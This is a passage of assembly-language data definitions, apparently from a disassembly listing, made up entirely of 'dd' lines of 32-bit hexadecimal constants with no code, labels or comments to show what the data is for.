		dd 6BEDAAE6h, 0B1B6C29h, 0EBCFD707h, 58ABFAE1h,	2CF4300Ah
		dd 64D4C806h, 2E4C3C6Bh, 35A3E394h, 4D804ADCh, 62E0FE1h
		dd 0BF8BBE9Ah, 271A67EDh, 0D91D5ADEh, 5A2177B1h, 0B48EF8D4h
		dd 0F0C5A27Fh, 88D630B2h, 8FEBFC63h, 0F7E63800h, 3C1AAF26h
		dd 0CC4214FCh, 5AB2CEDh, 292203F3h, 0BFD9331Ah,	0BD79974Eh
		dd 8B8201F7h, 0D52279C2h, 2CF94CDDh, 0E3C53B84h, 0C34905E6h
		dd 0E6BEB3BFh, 4979D3AAh, 0EA24DCAEh, 8A6A96h, 4AE31C58h
		dd 6FB33BFAh, 180B44E5h, 6A595E47h, 0B34CAF6Eh,	7F6EAA6Bh
		dd 35C9707Fh, 0B173BCACh, 0F9FDD997h, 0EE016A09h, 97464FCBh
		dd 50D363DFh, 715C3202h, 0F5E6EF54h, 0F22DD614h, 3910C6D8h
		dd 728A6444h, 0B9288D2Ah, 0DAB8CC20h, 0D5B09108h, 1EBBCAAh
		dd 0C0BDB554h, 0F034D80Ah, 6E3948Fh, 0F727D567h, 1F142317h
		dd 16EF35A6h, 358AD968h, 0E1B9A550h, 0A1E4DE5Ch, 0E2703FF5h
		dd 73A1C443h, 0E90EFC65h, 3BCCF847h, 7FA6E55Ch,	14B27D16h
		dd 0D8F75B5Ch, 81327573h, 0E0476459h, 2B86165Fh, 0BA232423h
		dd 432E1F75h, 534BD1FDh, 5F70F946h, 0E2E1646h, 628843E6h
		dd 33D2259Eh, 5CBEB612h, 0ED35B245h, 0AC0DE395h, 0E332BC92h
		dd 0E6DD765Bh, 6BFE7C32h, 0F882C038h, 0F38154F5h, 6696AEAh
		dd 5A75571Bh, 0B2ADD834h, 0B50E009h, 468BFD3Ch,	67BD9743h
		dd 0E530AB26h, 0C58CE7B8h, 63CD4BBFh, 0E0E0C766h, 7C9DA426h
		dd 0A583187h, 6E1B1C3Dh, 688BAAD9h, 0A60EC18Fh,	950FC2D6h
		dd 3C7BD659h, 62B0512Ch, 0B46576A1h, 2E12BBC6h,	15CE5E8Bh
		dd 22DFD938h, 7AFA4012h, 188D8518h, 0F790D22Ah,	5C10E4B6h
		dd 9A115134h, 0FF5B94Fh, 737D4405h, 920E6C35h, 1E0F22CEh
		dd 24D0520Ch, 0C5B8E0CCh, 8BEB0D28h, 0B2D4A1B4h, 0B9A3E37Eh
		dd 0C41B8311h, 0BF8825D1h, 0C00AFA53h, 0F9AE60BCh, 0A214D8C3h
		dd 4C05D941h, 571A3CAEh, 0F3783466h, 48C20250h,	0CA913CBCh
		dd 0A3D41F54h, 148B4565h, 0D8636BB6h, 0CDDE3573h, 0C1EDD2FEh
		dd 1BF8F1DAh, 7186C0C2h, 72E127C0h, 0ACA2E03h, 5F154A82h
		dd 0DDAAA835h, 775BD5BBh, 92F585AFh, 0DAAAFC74h, 9376F664h
		dd 0F28CC808h, 0B05BDC0Bh, 0D3AAD780h, 0DE31066h, 0E9A2544h
		dd 0EC04EFDBh, 0AB03F88Eh, 0BFB0AEC5h, 7ED5804Ah, 82C0F3DDh
		dd 0A84F3405h, 0C868370h, 0E2A030F5h, 5E21A025h, 12BA8AE6h
		dd 56EE7404h, 3B7DFB8Ah, 6ACB51B0h, 178D25D0h, 5DC0A8C3h
		dd 0D2BD82E5h, 0AF32F05Ch, 0EA3BB580h, 9EC010D5h, 0AC68E6F6h
		dd 0D64D3D4h, 9AF6AB5Dh, 9514392h, 0E4D0867h, 0B1215332h
		dd 4ECB0C2Fh, 0B3BAF579h, 58339147h, 3379C42Dh,	5B217FA2h
		dd 0E4414321h, 15B32EDh, 526B337h, 0A91E9BB7h, 5FF62122h
		dd 4EC87965h, 0A0D3583Bh, 859E9786h, 0C932E2E2h, 4DB142D1h
		dd 0E3846C7Bh, 0BFFCD4D0h, 5A66169Dh, 495BD2CFh, 0EB59B173h
		dd 60B6C6A8h, 0F213B38Ch, 0BC514ECCh, 152DEFF5h, 0ECA8911h
		dd 0F6428299h, 0AE29C6Eh, 4BA5BC4Bh, 8CCE2C3Ch,	2486ACD9h
		dd 0B60CCBF5h, 2D27494Dh, 4C53BD11h, 9066DC05h,	0A5F37995h
		dd 6F91E1FEh, 0F7112492h, 0E74496Bh, 0D015316Bh, 13C814F3h
		dd 319D1130h, 5335FF81h, 6463C39Eh, 228150E4h, 0E35DF554h
		dd 422F873Dh, 0C55AE916h, 0F2FCB00Fh, 698FA00Ch, 9B14654h
		dd 1BDE7BBFh, 790A4F91h, 0D4229B06h, 7CEDF8A3h,	0E74AF2C5h
		dd 0C462DA43h, 0D2831DB2h
		dd 1E9BDEBh, 0A4F353B6h, 70407174h, 933DC060h, 0F7ED7B4Fh
		dd 82C65E69h, 2075DBA1h, 70EF7456h, 0F2202513h,	0D9429B55h
		dd 1B9B92F9h, 0D038B3CDh, 54057634h, 3B93A277h,	0C0F89883h
		dd 0AC1FA0Fh, 0E730307Bh, 27493C9Ch, 0E2D5881Bh, 0A72203F8h
		dd 0E3463EF8h, 306D7B27h, 5A8FBD8Eh, 3A1EE340h,	6AFE6CBAh
		dd 68937A87h, 5C56546Dh, 1B725C9Eh, 3556D783h, 14972C9Bh
		dd 3135FAB9h, 0E9F4061Ah, 3C296A6Eh, 0E2C12FE9h, 0D781AAF1h
		dd 6004422Bh, 0EE217907h, 163995C6h, 59D17F7Ah,	0FA06D79h
		dd 77D8BBF8h, 33AA6E2Fh, 0E839D7E5h, 83C8FBDEh,	372C3074h
		dd 9C17A911h, 0CDAA8BA3h, 0ADF2B942h, 1C5193CFh, 0C84B8104h
		dd 0FE628C65h, 5EB9E154h, 85874BCDh, 0B44EE52Fh, 257E2D16h
		dd 565AC13Ch, 0E7CFCF4Eh, 4E71967Eh, 0D19E3A05h, 693D6E40h
		dd 0CDABCA02h, 2C1D80DAh, 417A67DDh, 0A1A528Dh,	5DD52BD9h
		dd 0F2FECD92h, 43FFEE37h, 0BBDDACC3h, 9828B7A8h, 8A99B6BAh
		dd 0A6E4619h, 50A9E303h, 4FB58DEAh, 0EE308453h,	3498EA9Fh
		dd 8CD0574Eh, 0C72BF7F4h, 9D8D2AA0h, 5FB1DCDAh,	2B60AF95h
		dd 0BBC3707Dh, 0B0A54328h, 0F8BA148Eh, 2F7AA7Ch, 2C5AAC3Dh
		dd 56A932D2h, 0A069C672h, 0BF5C37CAh, 0CB4657BDh, 2505C042h
		dd 4B73D3B5h, 318796C6h, 0F308F56Fh, 38B77BCAh,	9BE2D174h
		dd 1CBF2E61h, 0AC214156h, 0B16A72B7h, 4DCBDF3Ch, 9D08859Ah
		dd 0C74664DFh, 1C5B6911h, 66D6453Eh, 24511E12h,	879ECCEEh
		dd 0B7C01290h, 0F44ABADCh, 77A073F8h, 680ED4E7h, 3F567EF2h
		dd 0FC312C6Dh, 0F008F202h, 0E7526597h, 7184C94Bh, 47D9BC71h
		dd 0EB153571h, 0C13399A4h, 558987B3h, 0C4AD3E4Bh, 0D081316Ah
		dd 0ED653BF3h, 0E26A80D4h, 356DD845h, 290D5764h, 7F7A6A2Dh
		dd 11A71492h, 0A47C78E0h, 0F2C64292h, 0FB5FC1A9h, 87F78852h
		dd 3BCB9A44h, 0FC6AC4DFh, 15894585h, 8F7BBE4h, 0D6C33A60h
		dd 0DAEEA41h, 4D9C73F1h, 9A92C8B7h, 0C0B6D0B4h,	3E37803Ah
		dd 2E8DCA53h, 0FF82DEF1h, 0F2E05BFBh, 1DE0D003h, 0E861C7B5h
		dd 193A7805h, 7E88EB6Fh, 625F86F9h, 2950107Eh, 1ED76929h
		dd 0EECA4D2h, 3B0DEA81h, 530B39B7h, 75BE268Fh, 0FE290E66h
		dd 4959BA85h, 205559ADh, 0E5B95C1Eh, 367BD6C8h,	2C613450h
		dd 0ED3E8778h, 6107A1C9h, 0A853B23Fh, 85A84E2Ch, 644506C6h
		dd 7D16409Eh, 0BE1A7892h, 77917F04h, 0DC9D8712h, 5959C8A9h
		dd 0F3B9CE6Ah, 13F99D12h, 0C6EDF477h, 7F0431F6h, 792560B0h
		dd 6C747E38h, 0F959CC41h, 0CD521E8Ch, 0DC7C34CBh, 7D4D369h
		dd 2E8D1902h, 50C51DBEh, 7513286Ah, 1649D77Fh, 0A10F0F4Eh
		dd 0C006F2DCh, 0D7B6FAC1h, 1B145774h, 0C77B98E3h, 64614FE6h
		dd 7E894968h, 83C4020Eh, 65788DA4h, 47BCAA43h, 0B5A8BF25h
		dd 3F4D47C2h, 4B1D494Eh, 59F59766h, 61BCE4DEh, 108AA6D3h
		dd 0E1DFFCD2h, 938C3F1h, 0C652464Ah, 71222F2Ch,	0E1A20649h
		dd 39F8193Bh, 0BD0E18CAh, 0BE3283D3h, 0D51259E2h, 5CE1302Ah
		dd 7F323C3Dh, 7CE4B774h, 46D682Bh, 0F3F344Ch, 6A54C7E4h
		dd 308E5EE5h, 0A084B0h,	27C6A953h, 25684897h, 6B3F37C4h
		dd 0DB0EB97Dh, 0B358B47Eh, 0FF26FFBBh, 4C671C8Bh, 105EF4AEh
		dd 1521D8B6h, 0D54F0319h, 1D7A4EFCh, 0B5C8765Dh, 70FBA309h
		dd 3B55553h, 14F9B7DAh,	0B144166Dh, 8D89D302h, 3E2DC50Dh
		dd 4792A42Dh, 0F238CF03h, 0E5DF5E38h, 16C64037h, 4AD43B2Ch
		dd 88718C55h, 4AB7C471h, 9AF2BC3h, 0CD6639B0h, 3168ABDh
		dd 4FCC512h, 83D6EF68h,	0E5D5EC3Eh, 81ADB2F6h, 0C08DA3E3h
		dd 4761FFDBh, 0CE63E016h, 0D46965C3h, 98AC6901h, 0F8BFDFD4h
		dd 4539B80Eh, 0D1D3D195h, 167118ABh, 64426406h,	35C1B45h
		dd 0ABE019B3h, 38A6E17Eh, 0BE07E7F3h, 0F4A4D2D5h, 9DA39F4Ah
		dd 0CCF60DABh, 369AFEDh, 0F33FD755h, 10300A16h,	24C1289h
		dd 39E5BAF2h, 786E61F5h, 0FC1B199Eh, 60705F61h,	0B928F2CAh
		dd 6AAF64BCh, 0A3437129h, 0D62F2506h, 32AF6464h, 3B0F1209h
		dd 1E303CA9h, 6038535h,	371046FDh, 876B99F0h, 0AA25E546h
		dd 6AE6B760h, 4E42D2EFh, 661491C3h, 14259826h, 0FA95B2C0h
		dd 0D2A1C3CCh, 0B1EF6F9h, 4C404AEAh, 44E1A511h,	7BFA3388h
		dd 0E27D78BDh, 0C2E3E59h, 57917888h, 50CC93FCh,	0A42FBEDFh
		dd 1DFD8ECAh, 26509F1Ch, 0A3B6F4B7h, 7441AE3Eh,	284AC55Ch
		dd 28EFA35Bh, 0B6B78B1Ch, 8B70BF46h, 0C480F281h, 415E955Fh
		dd 0CB1F1A53h, 11723F4h, 0C38C2881h, 4FC86267h,	20FBA195h
		dd 9BCC9EA0h, 4C2D057Bh, 93CD5C07h, 31998936h, 0A7E35783h
		dd 5C7D6A7Eh, 0C25E0019h, 3C85C088h, 91C238B2h,	531AAB11h
		dd 3AA7094Dh, 0AD25A30Eh, 0EFB007E4h, 8B057F45h, 23583BC7h
		dd 0F532E9EAh, 6807A00h, 0E524B94Ah, 373F60F6h,	96A4411Bh
		dd 0A5E21A73h, 9E93D613h, 0AE570BBFh, 1688973Ch, 810C761Eh
		dd 0BA28A46Dh, 0E6DBBE28h, 4EE20AB9h, 0CE8FCD0Dh, 1D70716Fh
		dd 7522F36Fh, 7BC12C58h, 0F042563Eh, 0FEE56F12h, 753ACE53h
		dd 5A43B472h, 0B200E7BDh, 0C2A54BBh, 0C481A9B5h, 8A6EA91Ch
		dd 6B69DEB1h, 48EE8E4h,	0EE44DD24h, 0AACADF8Fh,	2624FB83h
		dd 880E127Fh, 26E752CAh, 0D77AB655h, 71A6A760h,	0E75D7E28h
		dd 0EBA28607h, 982313C0h, 0B9EE568Dh, 96F18629h, 1AF8591Bh
		dd 0D875D013h, 3BB32D71h, 0FC866B9Dh, 3B03AD8Ch, 0AF67121Bh
		dd 7C766783h, 2E3A86C8h, 17C98FC4h, 2B6640C0h, 4289069h
		dd 0FBF58B83h, 27973E43h, 0AB3A1177h, 0C096D637h, 0F2957455h
		dd 0DC79041Eh, 85ACADF3h, 6271A52Ch, 165FAA86h,	0AE96C04Eh
		dd 99F56B78h, 0A1B70195h, 6D2096ABh, 6B5B782Fh,	0CEE9B0D1h
		dd 8EF0E72Bh, 30DBED95h, 0FF935D08h, 47797402h,	2C29D742h
		dd 675EF4FEh, 0F6F3C095h, 0DA37378Ch, 3D54767Dh, 7CC7E3B9h
		dd 0B34DE0ACh, 273424A3h, 6894898Bh, 8573FB58h,	69799C49h
		dd 1B386025h, 368048FFh, 0F46AC5B4h, 259A6C5Fh,	0E5D81023h
		dd 43864DD1h, 365674B1h, 85FFACBEh, 5EA142CEh, 193E0F20h
		dd 0FC977D61h, 45B0161Fh, 0ECFE73CFh, 86140A5Dh, 0F7382D22h
		dd 7AE73Ch, 0AE89DB65h,	0CAB96966h, 58618276h, 0ED38680Bh
		dd 969059CAh, 4F645F72h, 4BF8AEFAh, 0A706045Fh,	0F303A323h
		dd 73B645F1h, 9FD2FC6Eh, 0F8CE5586h, 3E335C67h,	0F16E8521h
		dd 3D11BF97h, 0ED97AC4h, 418BA23Dh, 0C17ECB89h,	384964F6h
		dd 35A138Ah, 0A1440E95h, 4A0C6B2Eh, 7681A320h, 0F592CD69h
		dd 0CDC34B3Ch, 0E1975EB7h, 10EA31F6h, 798B13E2h, 224050E4h
		dd 3CB96A31h, 0E41CE47Ah, 18709BD6h, 1378E661h,	0E9D0253Bh
		dd 0FFE4E605h, 0E1237EC6h, 0F45614F6h, 0C2A05C79h, 71F67FAFh
		dd 24D0A761h, 4B5143D7h, 0C1207C5Bh, 0AA3FAE5h,	543D69A5h
		dd 0B0F7255Bh, 60815F5Dh, 87BE2872h, 0E4150300h, 5282D609h
		dd 5265625Dh, 0FBF719BBh, 0C5395C1h, 174A1657h,	1E8E6B0Ch
		dd 0B86A49D3h, 0C3CBED88h, 4E623B4Eh, 0FBEC7BB5h, 142E6BBAh
		dd 5DE760E7h, 57F07393h, 0FD9784B5h, 0A8430197h, 0C2B37972h
		dd 7A6B6FBEh, 0D6C50006h, 101CDE11h, 0E831BB3Ch, 0F6DD8084h
		dd 28E2805h, 284FD0B9h,	1D689040h, 0E942DDECh, 0C4AB0461h
		dd 0AA8A741Eh, 0C26CE05Eh, 1C903F24h, 0A799D8CBh, 0D5999B3Bh
		dd 738CCD7Bh, 5DFA20B1h, 0AB5ED1E6h, 9117596Ah,	6699ADEFh
		dd 0B53ECE53h, 55DD3051h
		dd 0E21FBF23h, 582B72EDh, 0EAF9383Bh, 34E24C0Ch, 61479EF7h
		dd 9C860A94h, 35B5E879h, 0E1831C32h, 38405DDAh,	88C97636h
		dd 93657587h, 4D008031h, 0B635B2E1h, 0C4A645C7h, 0E5AB4AD3h
		dd 0A5BD3846h, 28CA2335h, 1450DE28h, 0D0A9070Eh, 0CFB6C833h
		dd 0C5BB265h, 8442D762h, 287CE312h, 29127A22h, 65DD65Bh
		dd 0D3BB4E6Ch, 0B9D079E0h, 130348A9h, 22213E8Fh, 2A5836F4h
		dd 0CE57361Dh, 74188CF2h, 0DB17D5CDh, 0C8ACD9C2h, 37F7B505h
		dd 6C8B9C53h, 8B8101AEh, 0E5979C69h, 655FC6D9h,	0BAFA7664h
		dd 15BC74ACh, 47055284h, 50A7B9F2h, 375202F6h, 8D62C574h
		dd 4E44D591h, 0DDF6818Dh, 43BA3E21h, 0E472DD4Ch, 95AFB153h
		dd 0B744F46Ch, 4E841FF0h, 98E4DA6Dh, 0A85EFE5Bh, 2C4DBEA8h
		dd 0E9CD5B2Dh, 233D7DDEh, 0BFBECFBDh, 95203Ch, 75956789h
		dd 0CE65CF27h, 963A0FDCh, 43634AC1h, 0CF780B7Ch, 8DC14C04h
		dd 460400C5h, 48728C94h, 0F9412E77h, 0CEFF5588h, 0D3AF6F8Fh
		dd 0DC23C676h, 11E542FEh, 5AC8CDE8h, 90602E99h,	0AF01C854h
		dd 0EA23EA52h, 0D6F748A2h, 0BDB7B23Ah, 0DE6FAC68h, 4855176Ah
		dd 2A9355DEh, 3831DF84h, 5F615404h, 0D57A203Dh,	0C1A59DEFh
		dd 86DF02B9h, 0AE2DB9C3h, 0D6C56A36h, 51087BEAh, 0C726DC4Ch
		dd 854851Ch, 3A088B72h,	8DAFC0E4h, 15F0CEF8h, 8ECBDD5Ah
		dd 80440024h, 0C4436CA6h, 12F0DAFFh, 0D398B768h, 9BBE773Bh
		dd 866F2670h, 11B63ACDh, 0F10729D6h, 15C8C987h,	51B83C03h
		dd 44A18DB7h, 0D7FA2A6Ah, 3CCAA1Bh, 0F2F8F82h, 64D4CD1h
		dd 0F576FADh, 0BE4BE94Fh, 0DC36AAD6h, 0EF3276D9h, 5C18B503h
		dd 0F340C401h, 0A68C69F9h, 914E0FF8h, 3435261Fh, 3C40FA6Fh
		dd 0D897604Eh, 72BB8939h, 2858FBDAh, 0D767AC06h, 14D2A0E4h
		dd 0A7EB1651h, 0F390A440h, 0E55F04ACh, 0DDE3677Ah, 9CAB6A55h
		dd 41452108h, 0B6A67023h, 0FFA7E935h, 71813585h, 17BAFD5Bh
		dd 0FF884C6Bh, 890A3E79h, 3BDB97BDh, 0B45D0EA9h, 0B2E902DEh
		dd 0B256FEBAh, 49318961h, 9501BA95h, 64BBD85h, 0E6B8B73Eh
		dd 0C6050F73h, 8397B630h, 0F21EDE5Bh, 0A66CCFC1h, 0C415158Dh
		dd 36441B52h, 615A969Eh, 0F649794h, 4BFD72F3h, 0AF7F296Bh
		dd 33075CBh, 3EB7D079h,	0B0CBE59Fh, 0C2F5CAC8h,	584083A3h
		dd 147A63DFh, 4CAB6A04h, 0F9935AD8h, 0ACDEF89Ch, 0A54EA070h
		dd 32BF012Ch, 0C331A566h, 0ABDC6A1Ch, 86A6922Eh, 2BE305AAh
		dd 23AD655Fh, 0E1AA6428h, 62E34FA5h, 49C7C0E7h,	9150AE24h
		dd 733D9BB6h, 17925B15h, 3F3AAFFh, 0B31625F1h, 0A4D222C8h
		dd 0B899F024h, 453E6221h, 693A19D7h, 716EFC2Bh,	15C059A7h
		dd 3C3CE932h, 0F7660AD1h, 86700696h, 84FE854Dh,	0DE7F3CFh
		dd 87580B72h, 0FEFD93ACh, 8B852849h, 8E84393Bh,	28AAF397h
		dd 0BC9C60AAh, 0B183B227h, 0C98118BEh, 0CA2963B5h, 80130677h
		dd 3ECD4EA7h, 0E3025A0Fh, 0FC012699h, 4256C893h, 5DEC2F7Dh
		dd 81144F49h, 2F13BBF8h, 0AD247EB3h, 0BBFACACAh, 507E4D24h
		dd 0E7135653h, 9D06B89Ch, 3A86094Ch, 52A0A5D3h,	8D3E1FA2h
		dd 11322E75h, 21AD8F20h, 0C9A5D663h, 42E19058h,	2122691Eh
		dd 0EB0D787Bh, 2BCE0223h, 58F8E8C1h, 1E2EFD88h,	0EE074F91h
		dd 83D33D9Fh, 6C046669h, 0F2E7E8F5h, 0E3BE86E2h, 419224CFh
		dd 0EF8ACCE1h, 6737A7CDh, 0E1A56DB8h, 0E126BD19h, 9934F8CBh
		dd 51185E43h, 0EC3E843Fh, 7ECFB4EFh, 0E05BD1DFh, 74EA5111h
		dd 564BC057h, 30E4108Bh, 523437C7h, 2635C2C1h, 20A04AFFh
		dd 0E04CE3B7h, 1ABE855Dh, 0B89EDE26h, 613E94B6h, 0E525606Eh
		dd 0ABBA00F3h, 5701DDC6h, 8B7E4582h, 0A4C1ECA8h, 0D2032E65h
		dd 0B7D9D404h, 92FF0FEAh, 1EA2A359h, 0C6AF60DAh, 0A815619Ah
		dd 8685FA54h, 1168494Ch, 1F1EE36Fh, 7749FC7Eh, 0F9426001h
		dd 2BA49337h, 64085B5Dh, 0A10C70B3h, 0AB398865h, 5138F2Fh
		dd 26ACAB9Bh, 415B563Bh, 0D322A6ACh, 11CBA6F6h,	37654051h
		dd 0E04828C1h, 689F15C3h, 5C4F4E6h, 0E913C71Dh,	1F0A8E24h
		dd 0E0F5CA2Ch, 822B5C88h, 0A999D974h, 0B7050D2Dh, 0C512304Bh
		dd 0CFA378C2h, 0FB0A373Fh, 0B7360803h, 4F96293Bh, 0C647B634h
		dd 3786980Fh, 0F0BE6049h, 0BC69C4EFh, 4CCD733Dh, 6F4D4847h
		dd 0DF23A739h, 82722D9Ah, 6A66EA75h, 725FEFDh, 59332B25h
		dd 48151F87h, 80C3BBCCh, 61F44052h, 0D1FC788Bh,	0FC7BE1A4h
		dd 0D6EFF650h, 54D00DC5h, 0C1304872h, 73A9E9E6h, 394C27C2h
		dd 84FE9D2Ch, 371288FDh, 99D3A6AAh, 4644F667h, 6AEA769Bh
		dd 2131EE30h, 0AB386527h, 343CB427h, 0C5B09C11h, 7F587277h
		dd 856DA424h, 6D6C6013h, 0AE7F0039h, 6AEAF13Fh,	2030B0A0h
		dd 0F0DC5E92h, 8D937A33h, 0D8305437h, 467421E1h, 38E1AC1Dh
		dd 3FD78C69h, 9B2B5500h, 852076D3h, 1560E52h, 0C1113FAFh
		dd 76E9F50Ah, 0BD84DBB5h, 0B43196D6h, 27CC867Ah, 1F058519h
		dd 1B7EEF8Ch, 948BD54Dh, 804C351h, 9A01EE88h, 9C6E0576h
		dd 6A2288A5h, 4D3C1BF3h, 53081841h, 2F8D7008h, 6F16524Fh
		dd 0A11CF7D7h, 0AC222C26h, 665F2C6Dh, 0BDF9F3C9h, 36E33FCh
		dd 0C5113A3h, 0BF68D36Ah, 0E0DF7BC4h, 7068BF8Ch, 0D0C91675h
		dd 5B0E4251h, 0DB2E915Ch, 0D49E0F66h, 0EDE4057Dh, 0C9DF26C6h
		dd 0F0E7D302h, 983F3BCAh, 35145D62h, 4A0C5329h,	41431D09h
		dd 87D64CB6h, 14B1A0FCh, 0A7F9D80Fh, 0D9D62191h, 0CE43C589h
		dd 2571E2FBh, 0B17AF49Ah, 2D7E9AB0h, 0B67A608Bh, 7C920D6Bh
		dd 8B4383B5h, 4529260h,	0ACB99B5Ah, 0A1D63BFAh,	438D3D0Dh
		dd 3B0499Dh, 0C5D69B9Ah, 0A5D4A525h, 0B3161FC5h, 7375B488h
		dd 0D93DA74Bh, 7D9B4377h, 2DECE2C3h, 0F6A02CBFh, 0B872B2EDh
		dd 0B1ECF749h, 0E7B29442h, 0FFA5F82Ah, 6458F3CAh, 0FF8AF7DFh
		dd 0C9A1DCD5h, 56C82227h, 3FA62A94h, 9CC07D5Eh,	6FAB509h
		dd 480E7165h, 2EA60064h, 0A472C043h, 0F6AEC373h, 0BE4FB549h
		dd 0E01EEC7Ch, 0F80E8089h, 0BC862BC8h, 0C24AC266h, 1527AC9Fh
		dd 44CEAA3Eh, 2BC62D90h, 14CDD38h, 4FD594C6h, 0B51D010h
		dd 0F002C5BDh, 49C6D551h, 0E09CC1B6h, 0B298B4DAh, 0C262FCDCh
		dd 2090DA93h, 863E7597h, 0B11BD951h, 0F88000Dh,	484CB93Dh
		dd 0ED0D1148h, 323A1C65h, 0A731387h, 0C3C43247h, 0C405CF7Dh
		dd 14C7494Bh, 0FDDDEB78h, 50856694h, 0E412D4A2h, 18DDD724h
		dd 0DA6471A9h, 0C33DABA1h, 0CB4D9AAh, 0B20326B4h, 0BF644FC4h
		dd 0D2992502h, 0A6081406h, 6E3985h, 239E4092h, 0DA0F1FE9h
		dd 526993D8h, 0AD289B93h, 10FCB5C9h, 0DF9FBE6Ah, 29EE0837h
		dd 4BB95700h, 7918AB75h, 713C649h, 3FE3DF6Eh, 0DBF32559h
		dd 6EE51022h, 0AB642241h, 0D6985D6Ah, 0CAB7E511h, 18CEF12Fh
		dd 3116B754h, 0FF79E58Fh, 7CEAB5A2h, 0F564C6D3h, 0A11A2B38h
		dd 0E4F57B9h, 380F68E4h, 0FE751D58h, 0EC378C39h, 34B7B6BCh
		dd 3F713FF2h, 0BB5647E3h, 71EFF0E5h, 875B96E5h,	78A4C430h
		dd 7551C3F8h, 1F827FB3h, 9DE695E6h, 1476ED38h, 87B0ED34h
		dd 0A2A4194Dh, 0FE00C86Dh, 0C83AD3BEh, 0AC28AEDFh, 0E645FE35h
		dd 0D88F3A3Eh, 9553C20Ch, 0BC6691C3h, 52E85B3h,	8F8A5DFh
		dd 26597C29h, 0AA716C68h, 0CAA576B6h, 0B30FCDC4h, 0BF07C763h
		dd 0C181887Eh, 0B49BF17Ch, 0E5FC1DFCh, 268A0848h, 67B186B4h
		dd 0A4041B70h, 0F5AA318h, 0A687769Dh, 123F157Dh, 0B846FE11h
		dd 0D660035Ah, 3FEA1D00h
		dd 8B1151E9h, 0B1A9C3F2h, 0C6EE5BFEh, 75942C25h, 21A043F1h
		dd 3CD9B6C4h, 0C60240A8h, 51A635B0h, 1ADC03BBh,	7A9E07B9h
		dd 0BF47252Dh, 0F1E40E1Fh, 60ED33D1h, 8683988Bh, 0A0C789C0h
		dd 0AA59D6CFh, 70457AC1h, 137959h, 10A89565h, 23084F83h
		dd 5A4BBD7Ah, 3A7450C4h, 823538D2h, 0C8BBA70h, 0F89FD03h
		dd 0C996555Ah, 0A27586Bh, 0D426977Bh, 0FC6F7E57h, 0E4BAA5B8h
		dd 5BA90508h, 50DB9FA7h, 2DB7158Eh, 178F9716h, 44AE41CFh
		dd 9FE4596Ch, 0D41173F1h, 0E30742CDh, 0E5BC16CFh, 2A9BBCACh
		dd 28439199h, 4AE8081Dh, 82DBD001h, 0D1D6A44Fh,	0C916D4A9h
		dd 0C90071E4h, 84F23696h, 47E2191Ah, 0B58A9A13h, 19C74A89h
		dd 0ACD9C334h, 0D9F5E9E5h, 0E102AEC2h, 0DCC74A6Ah, 0EB1D97E5h
		dd 29FBE620h, 0B8E6C2A8h, 5F284B84h, 9DAEEC0Bh,	0C006891Eh
		dd 0AB9277CCh, 5CC9A0CAh, 3B154AE9h, 16EDF3B2h,	8953C83Dh
		dd 9250ABD5h, 742FD7B3h, 329BFC61h, 7AA2A8D6h, 2D040323h
		dd 7AB519AAh, 631BA769h, 16460F0Bh, 91A2DDF6h, 0A4F4DF30h
		dd 10C32344h, 41B3612h,	3D299D5Eh, 390F2944h, 0A8994112h
		dd 8AD24540h, 2E58F652h, 851A451Dh, 0A9AF1339h,	61715759h
		dd 0E878BEE5h, 37532EB0h, 0A2EB4759h, 0C1ED976Eh, 141DB340h
		dd 1F519AB7h, 0C3C7CB1Ah, 53B8CF5h, 0FAE0B712h,	20E31DF9h
		dd 26F0694Fh, 22804D08h, 9DA93064h, 8BEDE84Eh, 489AE813h
		dd 0E64E91A8h, 5E0F9F74h, 4BF9264Dh, 3B616036h,	258F0BC8h
		dd 6FA6DBC8h, 91F22A5Ah, 6200F05Ah, 92DFB0B2h, 350069CAh
		dd 2FA4C383h, 56BC0CD1h, 0D52DAB9Ch, 70FA5C3Bh,	963D2B61h
		dd 0B19BE6D0h, 26BF6AAEh, 0BB00E927h, 7245E9EBh, 18B365DCh
		dd 0FBEA4FE2h, 31F8ECB0h, 1A983953h, 0BCF4A72Eh, 0BBEAE1BBh
		dd 227127DCh, 1BBCCC6Ch, 348A53h, 75578854h, 198CBA27h
		dd 810E4884h, 4A897665h, 0D9C7B5BDh, 47421773h,	0E851CA57h
		dd 50A3571Dh, 0D36ACAB1h, 0A29CC745h, 3ED213E8h, 4C3F5FC7h
		dd 616B4DFDh, 9E3BA3A0h, 89EBC7ABh, 0EA0E6024h,	46C24E01h
		dd 0FED26EE0h, 4DEDB6D2h, 9C2473D0h, 52388D6Ah,	0DC69C284h
		dd 0DBA8C726h, 0EE3BE639h, 6A4EB4D2h, 0DAEAA227h, 73EC312Eh
		dd 0FEAE0400h, 362FF75Bh, 70E32E80h, 8CDD063Ah,	86260DD9h
		dd 69D912A2h, 0F7AD93FDh, 6CCA8B00h, 9EEFAE63h,	0C9413E24h
		dd 523EB5D9h, 18935DA6h, 0A566ACBh, 0E90B29E2h,	0B5864A56h
		dd 66B3D3A4h, 753C9E84h, 0EAD7DB7Dh, 3043089Ch,	94061884h
		dd 1DDCEBF3h, 2BEE5EBEh, 510DB377h, 39EA88D5h, 783A861Ch
		dd 13353CD1h, 0A17BD8CEh, 0D476C48Dh, 0F84941DFh, 64CB2CB2h
		dd 0E2D61701h, 2F6A4C2h, 7A27B4F4h, 7051C27Dh, 7CB1E12Ah
		dd 5892884Eh, 0A3634560h, 104F154Eh, 60F95331h,	0E5956FC1h
		dd 0CB56925Eh, 7F18DD61h, 867B9AF1h, 93745B54h,	91AE8F02h
		dd 390D3E70h, 8FAC8D26h, 5E05E74Eh, 0CB984C5Ah,	7E894230h
		dd 83B84A69h, 880F9F0Dh, 12B872FAh, 0DB8899E0h,	0FD051B36h
		dd 97B713E7h, 85E38891h, 43A1A910h, 8DFB15F1h, 9EE26BA7h
		dd 0B30E24D5h, 0B4DF323Eh, 0A80008B3h, 0A7787A6Eh, 3DBDE128h
		dd 495E5079h, 0F53074F4h, 4746B2BCh, 639EF35Ch,	2F2DE439h
		dd 0F7C15B6Dh, 0F35B44C0h, 0C1F4D3EEh, 687C26B4h, 6950E13Bh
		dd 0AFCAEC7Ah, 8F9A44C1h, 837B5942h, 1FAFED44h,	76E32C15h
		dd 0ED2F6660h, 6D84FAC9h, 6A767BF6h, 65CF3F15h,	6E3E862Ah
		dd 0FE30CEFDh, 22645FB0h, 0DE4F1CEh, 0C0782C07h, 0AD981095h
		dd 32391D32h, 0DC2522ADh, 0E5C368D2h, 0F36C1FF9h, 64312818h
		dd 5F6CF75Ah, 61E5FEDFh, 930F2DCAh, 54FC4738h, 0D17D335Dh
